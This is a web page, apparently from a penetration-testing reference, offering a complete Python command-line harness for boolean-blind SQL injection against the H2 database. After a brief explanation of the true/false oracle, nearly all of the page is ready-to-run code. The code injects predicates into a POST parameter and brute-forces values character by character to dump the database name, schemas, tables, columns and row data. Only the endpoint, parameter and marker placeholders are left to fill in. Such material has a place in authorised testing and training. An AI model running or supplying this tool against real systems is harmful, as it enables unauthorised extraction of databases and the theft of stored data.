Skip to content
H2
Boolean Blind

Boolean Blind

H2 boolean-blind linear harness

Blind SQL injection means that H2 evaluates the injected query but does not return the selected value directly. oracle() accepts a SQL predicate such as LENGTH(DATABASE())=5, inserts it into the request, and converts the application’s repeatable true or false response into a Python Boolean.

Only oracle() is target-specific. get_count() finds the number of rows, get_length() finds the length of one selected value, and dump_value() tests one possible character at each position. Together, the same CLI can dump the current database, schemas, tables, columns, and selected rows.

The SQL passed into the oracle uses H2 syntax throughout: LENGTH, SUBSTRING, ASCII, DATABASE(), INFORMATION_SCHEMA, and LIMIT 1 OFFSET n.

import requests
import urllib3
import argparse
import sys
from colorama import Fore, init
import string

init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
TRUE_STRING = "<TRUE_RESPONSE_MARKER>"
KNOWN_VALUE = "<KNOWN_TRUE_VALUE>"
ORDER_COLUMN = "<STABLE_ORDER_COLUMN>"
parser = argparse.ArgumentParser(
    description="H2 boolean-blind SQL injection dumping harness.",
    epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--schemas", required=False, action="store_true", help="Dump schema names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected schema.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-S", "--schema", required=False, type=str, help="Schema name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns_to_dump", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()

PROXY = args.proxy
if PROXY is not None:
    PROXY = PROXY.strip()
    PROXIES = {
        "http": PROXY,
        "https": PROXY
    }
else:
    PROXIES = {}
URL = args.target.rstrip("/").strip()

def oracle(s, query):
    data = {
        "<PARAMETER>": f"{KNOWN_VALUE}' AND ({query}) -- -"
    }
    try:
        r = s.post(url=f"{URL}/<ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
    except Exception as e:
        print(f"[-] {Fore.RED}Could not send request: {e}")
        sys.exit(1)
    is_true = r.status_code == 200 and TRUE_STRING in r.text
    return is_true

def get_count(s, query, label):
    count = 0
    while True:
        print(f"\rBruteforcing number of {label}: {count}", end="", flush=True)
        count_query = f"({query})={count}"
        if oracle(s, count_query) == True:
            print(f"{Fore.GREEN}\n[+] Number of {label}: {count}")
            return count
        count += 1

def get_length(s, query, label):
    length = 0
    while True:
        print(f"\rBruteforcing length of {label}: {length}", end="", flush=True)
        length_query = f"LENGTH(({query}))={length}"
        if oracle(s, length_query) == True:
            print(f"{Fore.GREEN}\n[+] Length of {label}: {length}")
            return length
        length += 1

def dump_value(s, query, label):
    value = ""
    length = get_length(s, query, label)
    for pos in range(1, length + 1):
        for char in CHARSET:
            print(f"\rDumping {label}: {value}", end="", flush=True)
            dump_query = f"ASCII(SUBSTRING(({query}),{pos},1))={ord(char)}"
            if oracle(s, dump_query):
                value += char
                break
    print(f"{Fore.GREEN}\n[+] {label}: {value}")
    return value

if __name__ == "__main__":
    s = requests.Session()
    if args.current_db:
        dump_value(s, "SELECT DATABASE()", "current database name")
    if args.schemas:
        schema_count = get_count(s, "SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME <> 'INFORMATION_SCHEMA'", "schemas")
        for pos in range(0, schema_count):
            query = f"SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME <> 'INFORMATION_SCHEMA' ORDER BY SCHEMA_NAME LIMIT 1 OFFSET {pos}"
            label = f"schema number {pos}"
            dump_value(s, query, label)
    if args.tables:
        schema = args.schema
        if not schema:
            print(f"[-] {Fore.RED}It is required to specify the schema to dump table names from.")
            sys.exit(1)
        table_count = get_count(s, f"SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='{schema}' AND TABLE_TYPE='BASE TABLE'", "tables")
        for pos in range(0, table_count):
            query = f"SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='{schema}' AND TABLE_TYPE='BASE TABLE' ORDER BY TABLE_NAME LIMIT 1 OFFSET {pos}"
            label = f"table number {pos}"
            dump_value(s, query, label)
    if args.columns:
        schema = args.schema
        table = args.table
        if not schema or not table:
            print(f"[-] {Fore.RED}It is required to specify the schema and table to dump column names from.")
            sys.exit(1)
        column_count = get_count(s, f"SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='{schema}' AND TABLE_NAME='{table}'", "columns")
        for pos in range(0, column_count):
            query = f"SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='{schema}' AND TABLE_NAME='{table}' ORDER BY ORDINAL_POSITION LIMIT 1 OFFSET {pos}"
            label = f"column number {pos}"
            dump_value(s, query, label)
    if args.dump:
        schema = args.schema
        table = args.table
        columns = args.columns_to_dump
        if not schema or not table or not columns:
            print(f"[-] {Fore.RED}It is required to specify the schema, table, and columns to dump data from.")
            sys.exit(1)
        columns_list = columns.split(",")
        row_count = get_count(s, f"SELECT COUNT(*) FROM {schema}.{table}", "rows")
        for pos in range(0, row_count):
            for column in columns_list:
                query = f"SELECT CAST({column} AS VARCHAR) FROM {schema}.{table} ORDER BY {ORDER_COLUMN} LIMIT 1 OFFSET {pos}"
                label = f"{table}.{column} row {pos}"
                dump_value(s, query, label)

Find by: h2, boolean blind sqli, length, substring, ascii, database, schema, information schema, tables, columns, limit offset, row dump, sqlmap style cli · Source: H2 2.2.224